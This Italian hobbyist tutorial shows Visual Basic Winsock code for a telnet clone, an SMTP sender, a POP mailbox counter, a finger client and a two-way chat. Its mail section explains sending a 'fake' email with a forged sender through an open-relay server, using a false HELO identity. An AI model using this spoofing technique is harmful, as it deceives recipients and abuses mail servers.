 |
Menu principale |
 |
|
Cartoline virtuali |
|
Cartolina n 606
Sono presenti 1307 cartoline virtuali. Entra ora
|
Giochi online |
|
|
News Reader |
|
|
Cosa sarete in grado di fare (molto semplicemente) leggendo questo articolo:
Sarete in grado di fare (nel giro di 10 minuti) un programma per:
Spedire una mail (o una fake)
Un telnet casalingo
Un netcat con tre righe di programma
Un programma per leggere la posta sul pop server
Un programma per dare una preview delle mail sul pop
Leggere un newsgroup
Fare un finger o un whois
Fare un programma per le chat personali via rete tipo ICQ
Mandare una nuke, o proteggersi da una nuke.
Creare un robot per cancellare determinati messaggi su un ng
Creare un filtro sul vostro server per prevenire un mail bombing
Fare una backdoor o in alternativa fare un programma per
proteggersi dalle backdoor tipo il bopsy.
ecc...
Vi sembra troppo?
Chissa' quale abilita' programmatoria serve? ;-)
Sbagliato!.. e' semplicissimo! ..e ognuno dei programmi sopra elencati non
supera le 20 righe di programma se si evitano fronzoli grafici inutili
e si va invece sul sostanziale.
Non serve usare API, non serve una particolare esperienza come programmatore,
non serve probabilmente qualcosa in piu' di quello che gia avete come
supporto software.
Serve invece una minima conoscenza sull'uso di telnet... solo per sapere come
impostare le procedure.
premessa:
Di solito anche chi ha raggiunto un buon livello di preparazione relativamente
ai linguaggi 32b e visual si blocca irrimediabilmente quando si tratta di usare
delle procedure per leggere o spedire dati attraverso la rete. Cio' e' dovuto
principalmente al fatto che gli strumenti per farlo sono spesso presentati
in maniera contorta o (peggio) tanto contornati da istruzioni ridondanti e
inutili da far apparire la cosa impraticabile se non dopo uno studio
approfondito di mesi su manuali introvabili e documentazione altamente
specializzata.
Ebbene tutto cio' non e' assolutamente vero. E' vero che programmare con le
ras api (le procedure a basso livello tipiche del sistema windows specifiche
per le connessioni) non e' semplice, e' vero che una approfondita conoscenza
dei protocolli di rete sarebbe la via tecnicamente migliore, e' vero che gli
ocx dedicati alle connessioni sono spesso corredati da -esempi- molto belli
e efficaci da provare ma che poi alla fine risultano piu' complessi da capire
che non studiarsi gli help allegati.. ma e' anche vero che esiste
un ocx col quale e' possibile fare veramente di tutto senza doversi
preoccupare di trovare particolari info o far conto su particolari abilita'
programmatorie.
Questo ocx e' il winsock. rwinsock.ocx, mswinsck.ocx, winsck.ocx ..
sono praticamente tutti quanti la stessa cosa e offrono tutti lo stesso
prodotto dalla prima all'ultima versione. (per i nostri scopi anche un
vecchio winsock.ocx versione 1 trito e ritrito va piu' che bene!!!)
Lo si trova di base in versione aggiornata con gli intranet activex, con
explorer, caricando un qualunque linguaggio visual tipo il vb, il C++ o
il delphi.
[ Per comodita' prendero' ad esempio il winsck.ocx degli intranet e il
linguaggio visual basic che piu' o meno tutti conoscono ed usano. ]
Come tutti i controlli ocx anche questo e' un'insieme di procedure che
automatizzano l'uso
di diverse api tramite una semplice chiamata di programma.
Prima di usarlo e' necessario aprire un form per il proprio programma e
selezionare il controllo sotto progetto/componenti nel VB. Si chiama
Netmanage Winsock control il winsck.ocx specifico degli intranet activex
6 control.
Il Microsoft Winsock Control mswinsck.ocx al limite va bene lo stesso
(meglio il netmanage!)
Sulla barra dei controlli appariranno due calzini bianchi, uno con
scritto TCP per leggere en inviare dati su questo protocollo e uno con
scritto UDP .. ovviamente per leggere ed inviare dati su quell'altro.
UDP e' un protocollo che ha delle caratteristiche diverse da TCP e
soprattutto dei diversi sistemi tramite i quali comunicare dati
attraverso la rete.
Il TCP ad esempio permette la connessione fisica tra due indirizzi
IP, un po' come se chiamaste un amico al telefono, anche se nessuno
parla la connessione c'e' comunque.
Su UDP invece non funziona cosi'.. i dati vengono spediti da un IP e
vengono ricevuti solo se dall'altra parte c'e' qualcosa in grado di
leggerli su una determinata porta; nel caso non ci sia invio di dati
non e' presente alcuna connessione effettiva.
Qal'e' tutta questa differenza?.. mah..ad esempio che collegandosi
via TCP ad un IP2 quest'ultimo e' in grado di monitorare (con netstat
ad esempio) il fatto che qualcuno sia in diretto collegamento (IP1) e
pronto ad inviare qualcosa, questo e' dovuto principalmente al
fatto che IP2 ha dovuto inizialmente porsi in ascolto tramite un
winsock.LISTEN (ascolta) per poter ricevere dati ed aprire per
questo una specifica porta.
Nel caso di UDP sarebbe stato sufficiente per IP2 attendere tramite un
evento specifico (invio dati da IP(n) su UDP porta x) i dati inviati
da IP1 e riceverli dentro una variabile stringa esattamente nel
momento in cui arrivavano; in questo caso netstat non avrebbe potuto
monitorare in precedenza all'invio dei dati una connessione che ancora
non era avvenuta di fatto
con IP1.
Ad ogni buon conto (e passiamo alla parte pratica.. quella teorica sopra tanto non vi serve
proprio a nulla!) per i nostri scopi base useremo soltanto il TCP.
Prima di cominciare bisogna che vi spieghi il fatto principale.. la cosa che vi rendera'
la programmazione del winsock facilissima.
E' una cosa molto semplice ma che stranamente non si trova scritta da nessuna parte:
Il winsock altro non e' (in pratica) che un TELNET .. che potete usare direttamente dentro
i vostri programmi.. dando gli stessi comandi che date su telnet ed avendo in risposta le
stesse stringhe di testo che ricevete solitamente.
vi dimostero' questo facendovi vedere come e' possibile col winsock costruirsi un telnet
personale in 10 secondi netti (col visual basic) scrivendo solo 5 linee di programma ed
avendo per contro un tool dalle STESSE identiche caratteristiche del telnet della microsoft.
(forse meglio.. visto che ve lo siete fatti da soli! ;-) )
Devo anche sottolineare una cosa importante, e' fondamentale conoscere le procedure basilari
per fare su telente cio' che si vuol fare sul proprio programma.
Ovvero sapere che per spedire una mail con telnet bisogna connettersi ad un server mail
(possibilmente dotato di relay! ;-) ) alla porta 25, quindi inviare un comando HELO,
poi MAIL FROM:, RCPT TO .. ecc...
Bisogna sapere che per leggere la posta bisogna collegarsi al proprio POP, dare i comandi
USER e PASS (seguiti dal proprio user e pass), LIST per vedere la lista dei messaggi presenti
RETR n per leggerne uno, DELE n per cancellarlo ecc..
Insomma.. do per scontato che queste cose le conoscete gia bene, comprese le procedure per
leggere e spedire messaggi su un news group di un determinato news server.
La -buona- conoscenza di queste sistematiche rendera' il vostro lavoro di programmazione
immediato e addirittura banale.
Cominciamo con la pratica: (finalmente!) ;-))
Farsi un telnet in casa:
Come funziona telnet? .. semplice:
1. ci si collega ad un server per sfruttare un determinato servizio
2. si setta la porta giusta (25 sendmail, 110 pop, 119 news, 79 finger ecc...)
3. si inviano i comandi specifici
4. si leggono sulla finestra di dialogo le risposte del server
5. finito si chiude la connessione e si va a mangiare qualcosa di dolce. hi hi hi
Come si fa questo col winsock ? ... allo stesso modo!
1. ci si connette al server settando la porta giusta
winsock.connect "nome del server",porta
2. si inviano i comandi specifici
winsock.senddata Stringa_con_i_dati & VbCrLf
(VbCrLf e' l'aggiunta dei caratteri ascii 13+10 ..equivale a premere ENTER)
3. si leggono le risposte del server
winsock.getdata Stringa_dove_vanno_le_risposte, VbString
(VbString dice che al vinsock che la variabile Stringa_dove_vanno_le_risposte
contiene dati alfanumerici)
questa istruzione andra' inserita in una procedura con l'evento DataArrival
ovvero:
Private Sub winsock_DataArrival(ByVal bytesTotal As Long)
winsock.GetData Dalserver, vbString
End Sub
Praticamente e' una procedura che voi scrivete e che si attiva tutte le volte
che dal server vengono inviati dei dati.
E' utili sia per visualizzare le risposte che per controllare (facendo una verifica
sulle stringe ricevute) possibili errori o settare parametri a noi utili.
4. si chiude la connessione quando si e' finito.
winsock.close
Il programma e' questo in pratica:
Aprite un form con due caselle di testo. Alla prima (text1) ci scrivete accanto una label
-Host remoto- alla seconda (text2) ci scrivete -porta-
(avete portato sul form il controllo Netmanage winsock si!? ;-))
Aprite due pulsanti, sul primo (command1) ci scrivete CONNETTI, sul secondo DISCONNETTI.
Aprite un altra casella di testo (text3) un po' lunga in fondo al form con a fianco un
bottone (command3) con scritto sopra INVIA.
(I comandi andranno scritti dentro questa casella e inviati tramite invia)
Aprite l'ultima casella di testo (text4) abbastanza grande perche' su questa verranno
scritti i messaggi in arrivo dal server.
una cosa cosi':
+--------------------------------------------------------------------------------------+
| _______________________ _______ ________ ___________ |
| Host Remoto |Text1__________________| Porta |Text2__| |CONNETTI| |DISCONNETTI| |
| __________________________________________________________________________________ |
| |Text4 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |__________________________________________________________________________________| |
| _______________________________________________________________________ _______ |
| |Text3__________________________________________________________________| | INVIA | |
|______________________________________________________________________________________|
Il programma e' tutto qui:
--------------------------------------------------------
Private Sub Command1_Click()
TCP1.Connect Text1, Text2
End Sub
Private Sub Command2_Click()
TCP1.Close
End Sub
Private Sub Command3_Click()
Text4 = Text4 & Text3 & vbCrLf
TCP1.SendData Text3 & vbCrLf
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
TCP1.GetData Dalserver, vbString
Text4 = Text4 & Dalserver
End Sub
--------------------------------------------------------
Strabiliante eh? ;-) ..
Se si escludono le linee di dichiarazione delle procedure.. il programma e' in tutto
5 misere righe.
(Deriva dal fatto che il winsock appunto e' il vostro telnet nascosto personale) :))
Spiegazione: TCP1 (e' il nome che il winsock attribuisce al controllo di default quando
tirate il medesimo sul form.. lo potete richiamare winsock o tenere TCP1.. non fa differenza)
La prima procedura viene richiamata premendo il tasto CONNETTI.
Si connette al server il cui nome e' scritto nella casella di testo text1 alla porta
scritta nella casella di testo text2.
La seconda procedura vi disconnette dal server quando premete DISCONNETTI.
La terza procedura invia al server tutto quello che trova scritto nella casella di testo
text3 aggiungendo i caratteri CHAR(13)+ChAR(10) = NewLINE .. come se aveste premuto ENTER
di seguito su telnet.
Text4 = Text4 & Text3 & vbCrLf serve a visualizzare sulla finestra text4 di seguito
alle risposte del server anche le linee che avete inviato.
La quarta procedura sta li.. buona buona.. se ne sta in silenzio senza fare nulla fino a
quando il server non vi invia qualche dato, un errore o una risposta in generale.
Allora la procedura con l'evento DataArrival si attiva, importa tutti i dati in arrivo dal
server dentro la variabile Dalserver (che viene dichiarata appunto come Stringa = VbString)
e visualizza i dati sulla casella di testo Text4.
Text4=Text4 & Dalserver .. fa in modo di aggiungere i dati di seguito a quelli gia ricevuti
tanto da avere una lista completa esattamente come sul telnet originale.
Compilate il programma e provate ad usarlo, vedrete che e' esattamente un telnet.
Si potevano aggiungere altre cose.. una gestione degli errori e una migliore
interfaccia utente.. ma lo scopo di questo articolo e' quello di mostrare solo
l'essenziale; al 'catenaccio' ci penserete da soli. ;-)
Uno attento gia' si immagina di poter fare con questo piccolo esempio tutto quello che vuole
compresi tutti i programmi citati nella lista sopra. Ed e' vero!
Manca solo qualche finezza concettuale che e' importante implementare.
L'esempio sopra infatti non considera un problema abbastanza rilevante che si potrebbe
presentare durante l'invio o la lettura di una mail .. ma ancor piu' durante l'invio o
la lettura di un news group:
--> i tempi di risposta del server!
Facciamo un primo esempio brutale di invio mail.
Vogliamo inviare una fake mail all'indirizzo mio@amico.it facendo finta di essere
il signor pippo@de.pippi, avendo come subject "PROVA" e come testo "TE LO MANDO IO".
Sara' necessario trovarsi un bel smpt server col relay.. per provare va bene il proprio.
come si farebbe con telnet?
1. ci si collega all'smtp server (mettiamo sia mail.server.it) porta 25
2. si da il RSET
3. HELO seguito da un nome qualsiasi (o un IP falso magari 'esistente')
4 MAIL FROM: pippo@de.pippi
5 RCPT TO: mio@amico.it
6 DATA
7 Subject: PROVA
9 TE LO MANDO IO
10 . (un punto e INVIO per confermare la spedizione)
col winsock e' la stessa cosa. L'unico problema e che dando le istruzioni di seguito
sul visual basic (come su un altro programma del resto!) :
TCP1.SendData "RSET" & VbCrLf
TCP1.SendData "HELO ciao" & VbCrLf
TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf
...
non si da tempo al server di confermare i comandi, percui ci si troverebbe ad esempio
a spedire il MAIL FROM: prima della conferma del comando HELO e quindi si avrebbe errore.
E' necessario allora aspettare n secondi per effettuare l'invio di un comando per aspettare
la conferma del precedente.
Non si sa in anticipo quanto impieghera' il server a 'confermare'.. dipende da troppe variabili:
traffico sulla rete, velocita' momentanea della connessione, ecc...
(poi spieghero' come inviare un comando esattamente un istante dopo la conferma di quello
precedente! ;-))
Per adesso limitiamoci a creare una procedura che dia un certo ritardo nella esecuzione dei
comandi per dare 'respiro' al server.
la chiameremo DELAY ( in C gia c'e' SLEEP .. in visual basic bisogna farsela)
Privare Sub Delay(n)
S = Timer
Do While Timer < S + n
DoEvents
Loop
End Sub
con Delay(3) l'esecuzione del programma si blocca per 3 secondi.
DoEvents server per far si che cmq tutti gli altri comandi siano disponibili durante
il tempo d'attesa. Senza DoEvents il programma si bloccherebbe per tutto il tempo
impostato.
Diciamo che 6 secondi di attesa per la conferma di ogni comando sono un tempo piu' che
sufficiente nella maggior parte delle situazioni.
il programma allora dovra' essere strutturato cosi'
-----------------------------------------------------
Private Sub spedisci()
TCP1.Connect "mail.server.it",25
Delay(6)
TCP1.SendData "RSET" & VbCrLf
Delay(6)
TCP1.SendData "HELO ciao" & VbCrLf
Delay(6)
TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf
Delay(6)
TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf
Delay(6)
TCP1.SendData "DATA" & VbCrLf
Delay(6)
TCP1.SendData "Subject: PROVA" & VbCrLf
Delay(6)
TCP1.SendData "TE LO MANDO IO" & VbCrLf
Delay(6)
TCP1.SendData "." & VbCrLf
Delay(6)
TCP1.close
End Sub
Privare Sub Delay(n)
S = Timer
Do While Timer < S + n
DoEvents
Loop
End Sub
------------------------------------------------------
praticamente si impiegano 9 linee di ritardo di 6 secondi per un totale di quasi un minuto
di tempo per spedire una mail.. ma l'importante e' che funzioni. ;-)
Vediamo adesso come fare per inviare i comandi nel tempo piu' breve possibile sfruttando
le risposte del server.
Si manda un comando.. quando il server risponde qualcosa vuol dire che l'ha accettato
e si puo' inviare il successivo.
Serve sempre la monitorizzazione offerta dall'evento DataArrival (L'unica cosa utile
assieme ai comendi xxx.connect, xxx.senddata e xxx.getdata
Il programma base e' lo stesso..
si aggiunge la definizione della variabile "ricevi" in testa al sorgente
DIM ricevi as string (in modo che ricevi non sia un valore valido per tutte le procedure.)
si aggiunge in fondo al sorgente la procedura
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
TCP1.GetData Dalserver, vbString
ricevi = Dalserver
End Sub
che mette nella variabile pubblica ricevi le risposte del server
e si cambia la procedura delay con questa
Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub
cioe' .. delay = aspetta fino a quando non ricevi una risposta! ;-)
quindi il programma completo sara' cosi':
----------------------------------------------------
Dim ricevi as String
Private Sub spedisci()
TCP1.Connect "mail.server.it",25
Delay
TCP1.SendData "RSET" & VbCrLf
Delay
TCP1.SendData "HELO ciao" & VbCrLf
Delay
TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf
Delay
TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf
Delay
TCP1.SendData "DATA" & VbCrLf
Delay
TCP1.SendData "Subject: PROVA" & VbCrLf
Delay
TCP1.SendData "TE LO MANDO IO" & VbCrLf
Delay
TCP1.SendData "." & VbCrLf
Delay
TCP1.close
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
TCP1.GetData Dalserver, vbString
ricevi = Dalserver
End Sub
Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub
----------------------------------------------------
Con questa piccola finezza (che dovra' essere uguale anche per tutti gli altri programmi
che si progetteranno) si velocizzano le procedure rispetto alle linee di ritardo di almeno
10 volte.
Un altro esempio.. usando subito il nuovo delay costruito appositamente.
Facciamo un programma che legga dal nostro pop server quante mail abbiamo in parcheggio.
(Modificarlo per cancellare mail contenenti in una qualunque parte determinate parole
o per fare una preview di tutti i messaggi sara' molto semplice)
Come si farebbe con telnet per verificare quante mail abbiamo sul serer pop?
1. Ci si connette al nostro pop (mettiamo sia mail.pop.it) porta 110
2. si invia il comando USER
3 PASS
a questo punto il server risponde con una riga di benvenuto indicante all'interno
una frase tipo ... has xx message(s) ...
xx e' il numero di messaggi presenti.
La stringa di risposta del server sara' una stringa che avremo prelevato tramite il
solito evento DataArrival (mettiamo si sia chiamata -ricevi-)
Il numero di messaggi quindi sara' la parte di stringa ricevi che va da
inizio = instr(1,ricevi,"has")+4 (inizio della parola "has" nella stringa + 4)
a
fine = instr(1,ricevi,"message")-1 (inizio della parola "message" - 1)
dati dal server pop ...... has nnn message .......
| |
inizio/ fine
lunghezza di nnn=fine-inizio
si potra' dire allora che trovata la stringa -ricevi- di ritorno dal server
il numero di messaggi presenti (utile poi per leggerli tutti con un ciclo for
tanto per fare un esempio) si potra' trovare con
inizio = InStr(1, ricevi, "has") + 4
fine = InStr(1, ricevi, "message") - 1
nm = Mid$(ricevi, inizio, fine - inizio)
nm= numero di mail presenti sul server.
Vediamo il programma in pratica.
programma "scheletrico":
Qaunte mail ci sono sul pop server mail.pop.it per lo USER pippo , PASSWORD topolino ?
---------------------------------------------------------
Dim ricevi As String
Private Sub Trovamail()
TCP1.Connect "mail.pop.it", 110
ricevi = "": delay
TCP1.SendData "USER pippo" & vbCrLf
ricevi = "": delay
TCP1.SendData "PASS topolino" & vbCrLf
ricevi = "": delay
inizio = InStr(1, ricevi, "has") + 4
fine = InStr(1, ricevi, "message") - 1
nm = Mid$(ricevi, inizio, fine - inizio)
' Dentro nm ci sta il Numero di mail trovate
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
TCP1.GetData Dalserver, vbString
ricevi = Dalserver
End Sub
Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub
---------------------------------------------------------
Vogliamo provare lo stesso programma leggermente piu' raffinato .. sulla base del
quale poter poi costruire magari un gestore di POP con filtri e tutto il resto? ;-)
Proviamo col solito FORM tipo quello del telnet.
Aggiungiamo solo una Label per lo Status del programma (label1)
e due text box per inserire la password e lo user.
+--------------------------------------------------------------------------------------+
| _______________________ _______ ________ ___________ |
| Host Remoto |Text1__________________| Porta |Text2__| |CONNETTI| |DISCONNETTI| |
| ____________ _______________________________________________________ |
| User |Text5_______| |Label | |
| ____________ | | |
| Password |Text6_______| |_______________________________________________________| |
| __________________________________________________________________________________ |
| |Text4 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |__________________________________________________________________________________| |
| _______________________________________________________________________ _______ |
| |Text3__________________________________________________________________| | CERCA | |
|______________________________________________________________________________________|
In questo caso
CONNETTI = Command1
CERCA = Command2
DISCONNETTI = Command3
Label = Label3
Il programma permette di inserire il pop server desiderato, uno user e una pass a piacere
e trova il numero di messaggi presenti che viene stampato su Label.
Cerca potrebbe (lascio a voi fare il seguito)
1. scorrere tutti i messaggi con RETR da 1 a nm (trovato prima) (il messaggio volta volta
finisce dentro "ricevi" con questo programma) e cancellare (con DELE) quelli non desiderati.
Killando IP -segnalati-, Subject multipli, o mail da nick di persone indesiderate.
2. scorrere tutti i messaggi con RETR e visualizzare su text4 tutti i subject e un paio
di righe del body.. tanto per vedere se c'e' qualcosa di interessante per la quale
aprire Outlook o Agent. ;-)
3..varie ed eventuali.
Il programma e' questo:
------------------------------------------------------------------
Dim ricevi As String
Private Sub Command1_Click()
TCP1.Connect Text1, Text2
ricevi = "": delay
Label3 = "Connessione aperta, invio USER"
TCP1.SendData "USER " & Text5 & vbCrLf
ricevi = "": delay
Label3 = "Invio PASSWORD"
TCP1.SendData "PASS " & Text6 & vbCrLf
ricevi = "": delay
inizio = InStr(1, ricevi, "has") + 4
fine = InStr(1, ricevi, "message") - 1
nm = Mid$(ricevi, inizio, fine - inizio)
Label3 = "Numero di mail trovate = " & nm
End Sub
Private Sub Command2_Click()
Label3 = "Invio dei dati"
Text4 = Text4 & Text3 & vbCrLf
TCP1.SendData Text3 & vbCrLf
End Sub
Private Sub Command3_Click()
TCP1.Close
Label3 = "Connessione chiusa"
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Label3 = Str$(bytesTotal) & " Bytes di dati in arrivo dal server " & Text1
TCP1.GetData Dalserver, vbString
Text4 = Text4 & Dalserver
ricevi = Dalserver
End Sub
Private Sub Text3_Click()
Text3 = ""
End Sub
Private Sub delay()
Do While ricevi = ""
DoEvents
Loop
End Sub
------------------------------------------------------------------
Semplice no!? .. un esempio di miglioria all'interfaccia utente e' la procedura
Private Sub Text3_Click()
Text3 = ""
End Sub
dice solo che quando vi posizionate col mouse su text3 (riga di editing dei comandi)
e ci cliccate sopra il testo precedentemente inserito scompare... altrimenti avreste dovuto
cancellarlo con seleziona e delete.. una palla! ;-)
Altro esempio .. volete fare un finger su un server con tre righe di programma?
(TRE sul serio .. non tanto per dire!)
Come non si puo!?.. si puo, si puo! ;-)
Provate un po' cosi':
+------------------------------------------------+
| _______________________ ______ |
| Host Remoto |Text1__________________| |FINGER| |
| ___________________________________________ |
| |Text2 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |___________________________________________| |
|________________________________________________|
FINGER = Command1
il programma e' questo:
-----------------------------------------------------------
Private Sub Command1_Click()
TCP1.Connect Text1, 79
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
TCP1.GetData Dalserver, vbString
Text2 = Text2 & Dalserver
End Sub
-----------------------------------------------------------
.. non serve neanche il disconnetti perche' sia che il finger ci sia, sia che non ci sia,
il server vi sconnette automaticamente appena finito il lavoro.
Ultimi esempio .. leggermente piu' complessi .. ma poco. ;-)
Farsi una linea Chat privata per dialogare via rete con un amico.
Qui bisogna introdurre un altra funzione del winsock (una sola). La funzione .listen.
Con LISTEN ci si mette in ascolto su una determinata porta dichiarata tramite .localport.
winsock .. anzi TCP1.localport 31337
TCP1.listen
sono le due funzioni che permettono al nostro programma di starsene in attesa ad aspettare
dati sulla porta 31337. (ricorda qualcosa? .. mah.. ;-).. cmq per adesso anche se ricorda
qualcosa non e' possibile fare nulla, stiamo parlando di protocollo TCP e la cosa
rammentata da quella porta tanto strana va invece su protocollo UDP)
La chat replica in pratica quella che si potrebbe ottenere sfruttando netcat e leggendo
un mio precedente manuale che riporta quanto segue:
NETCAT ...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
CHAT ANONIMA PERSONALE CON UN ALTRO UTENTE
ogni persona deve aprire due form DOS (due shell o come preferite)
la PERSONA 1 deve digitare:
nc -l -p -v (ascolta e vede sulla porta 1)
nc (manda i caratteri sulla porta 2)
la PERSONA 2 invece:
nc -l -p -v (ascolta e vede sulla porta 2)
nc (manda i caratteri sulla porta 1)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Praticamente ogni persona si trova aperti sul proprio desktop due form con due netcat
diversi .. uno serve per ricevere i dati, l'altro per inviarli.
Col winsock e' uguale ma ancora piu' semplice.
Basta creare un programma che funga sia da trasmettitore (il client) che da ricevitore
(il server). Una persona quindi dovra' aprire UN solo programma di questi e dichiarare
di essere il server .. l'altro fara' lo stesso dichiarando (dopo il primo) di essere il
client. Il client si colleghera' col server come in una connessione telefonica e si potra'
iniziare a spedire i rispettivi dati.
Visto che parliamo di chat si presuppone che i dati siano del 'testo' ovviamente.
Facciamo un form cosi':
+---------------------------------------------------------+
| _____________ _______ ______________________ |
| Host |HOST_________|: |porta__| |Label1________________||
| ___________________________________________ __________ |
||LEGGI ||_CONNETTI_||
|| ||_ASCOLTA__||
|| | |
|| | __________ |
||___________________________________________||_TERMINA__||
| ___________________________________________ __________ |
||Comandi____________________________________||__INVIA___||
|_________________________________________________________|
dove:
Host = casella di testo con nome "host"
Comandi = casella di testo con nome "comandi"
Label1 = label con nome "Label1"
porta = casella di testo con nome "porta"
CONNETTI = pulsante con caption "connetti" e nome "connetti"
ASCOLTA = pulsante con caption "ascolta" e nome "ascolta"
INVIA = pulsante con caption "invia" e nome "invia"
fa eccezione
TERMINA = pulsante con caption "termina" e nome "disconnetti"
ma e' per rendere il listato piu' chiaro. ;-)
Il programma e' questo:
---------------------------------------------------------------------------
Private Sub CONNETTI_Click()
Label1.Caption = ""
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Connect Host, Val(porta)
End Sub
Private Sub DISCONNETTI_Click()
Label1.Caption = "Verifica del collegamento : INATTIVO"
TCP1.Close
End Sub
Private Sub ASCOLTA_Click()
Label1.Caption = " Sono in ascolto! "
TCP1.LocalPort = Val(porta)
TCP1.Listen
End Sub
Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub
Private Sub TCP1_Close()
Label1.Caption = "Verifica del collegamento : INATTIVO"
TCP1.Close
End Sub
Private Sub TCP1_Connect()
Label1.Caption = "Collegamento effettuato e ATTIVO"
Host = TCP1.RemoteHost
End Sub
Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Accept requestID
Label1.Caption = "Collegamento effettuato e ATTIVO"
Host = TCP1.RemoteHostIP
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
TCP1.GetData Data
LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub
Private Sub comandi_Click()
comandi = ""
End Sub
---------------------------------------------------------------------------
piu' piccolo di cosi' non si puo' fare!
una trentina di righe mi sembrano comunque veramente poca cosa per il risultato ottenuto.
Per fare le prove basta aprirne due sul proprio computer, mettere 127.0.0.1 come host e
la stessa porta in ambedue i form, vi connetterete quindi con voi stessi in locale senza
dover spendere nulla per la 'sperimentazione'.
E' necessario ovviamente mettersi PRIMA in ascolto su un programma chiamando ASCOLTA
e poi connettersi con l'altro programma chiamando CONNETTI.
La stessa procedura dovra' essere usata in rete. L'amico che ricevera' copia del
programma bastera' che si metta in ascolto selezionando semplicemente una porta a piacere.
Voi dovrete invece connettervi selezionando la stessa porta ma mettendo anche il suo IP nella
casella HOST.
Analizziamo il programma procedura per procedura:
Private Sub ASCOLTA_Click()
Label1.Caption = " Sono in ascolto! "
TCP1.LocalPort = Val(porta)
TCP1.Listen
End Sub
come detto in precedenza apre una porta sul computer in locale tcp1.localport
e si mette in ascolto: tcp1.listen.
ho aggiunto label per fornire agli utenti delle semplici informazioni sullo stato della
connessione. Quando uno si connette dice se il collegamento e' avvenuto o meno, dopo il
listen dice: "sono in ascolto" .. e via cosi'. Non serve a niente ma fa il tutto piu'
interessante. ;-))
Private Sub CONNETTI_Click()
Label1.Caption = ""
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Connect Host, Val(porta)
End Sub
Anche questa e' una cosa gia nota.
Si setta la localport a zero TCP1.Localport, 0
poi ci si connette.
TCP1.connect (ip prelevato dalla casella di testo host), (porta prelevata dalla casella porta)
L'unica cosa eccentrica e' la linea con la condizione logica:
Serve perche' nel caso il server si sconnetta il client possa sconnettersi automaticamente
a sua volta.
TCP1.state da infatti un valore numerico che rappresenta lo stato della connessione.
AGGIUNTA:
Se l'altro non e' in ascolto quando ci si connette si ha un errore..
si potrebbe quindi aggiugere una procedura per la dichiarazione degli errori
durante l'invio dei dati o il collegamento.
Il winsock ha un evento apposito per questo: _Error
Vi faccio un esempio anche se in pratica per gli scopi di questo articolo
il tutto e' decisamente inutile:
-------------------------------------------
Private Sub TCP1_Error(Number As Integer, Description As String, Scode As Long, Source As
String, HelpFile As String, HelpContext As Long, CancelDisplay As Boolean)
Label1.Caption = "ERRORE -> " & Description
TCP1.Close
End Sub
-------------------------------------------
giusto per dare qualche ritocco. ;-)
Private Sub DISCONNETTI_Click()
Label1.Caption = "Verifica del collegamento : INATTIVO"
TCP1.Close
End Sub
Questa non necessiterebbe di spiegazioni.
Chiude la connessione alla pressione del pulsante TERMINA (disconnetti)
con TCP1.close
Private Sub INVIA_Click()
a$ = comandi
LEGGI = "I>" & a$ & vbCrLf & LEGGI
TCP1.SendData a$
End Sub
Invia i dati della riga -comandi- tramite la connessione.
Ho aggiunto i caratteri "I>" perche' sul form di dialogo sono rappresentati
sia dati inviati sia dati in ricezione e in una lunga lista senza un qualcosa
che identifichi i primi rispetto ai secondi andando a ricontrollare tutta la
chat si farebbe confusione.
Nel data arriva (dati in arrivo) .. ho aggiunto ovviamente "R>".
LEGGI = "I>" & a$ & vbCrLf & LEGGI quindi vuol dire che aggiunge i nuovi dati inviati
sul form LEGGI collocando quelli piu' nuovi in testa alla lista.
Private Sub TCP1_Close()
Label1.Caption = "Verifica del collegamento : INATTIVO"
TCP1.Close
End Sub
Evento close del winsock .. serve piu' che altro in modalita' server.
Quando il collegamento viene terminato dal client viene chiuso anche
l'ascolto da parte del server.
Questa procedura puo' anche essere tolta volendo.. non e' di grande utilita'
soprattutto in considerazione del fatto che anche il server ha il suo pulsante termina.
Private Sub TCP1_Connect()
Label1.Caption = "Collegamento effettuato e ATTIVO"
Host = TCP1.RemoteHost
End Sub
Anche questa e' una procedura ridondante .. ma interessante da conoscere.
Diciamo che e' utile anche questa esclusivamente al server.
Il client infatti deve mettere un IP nella casella host.
Questo IP dovra' essere quello del server.
Al server basta stare in ascolto su una determinata porta dichiarata su "porta".
Beh .. effettuato il collegamento il winsock ricava dai pacchetti inviati l'IP del client
e lo visualizza automaticamente al server nella propria casella HOST.
E' una procedura importantissima..
Durante un collegamento si potra' quindi dire in ogni istante:
ip_di_provenienza = TCP1.RemoteHost
porta_dalla_quale_si_collegano = TCP1.RemotePort
e' quello che fa NETSTAT in pratica... verifica se qualcuno e' collegato a voi e vi da
il suo IP e la porta di provenienza dalla quale fluiscono i dati.
[E infatti Rifare NETSTAT in VB col winsock non e' complicato.. ;-) ]
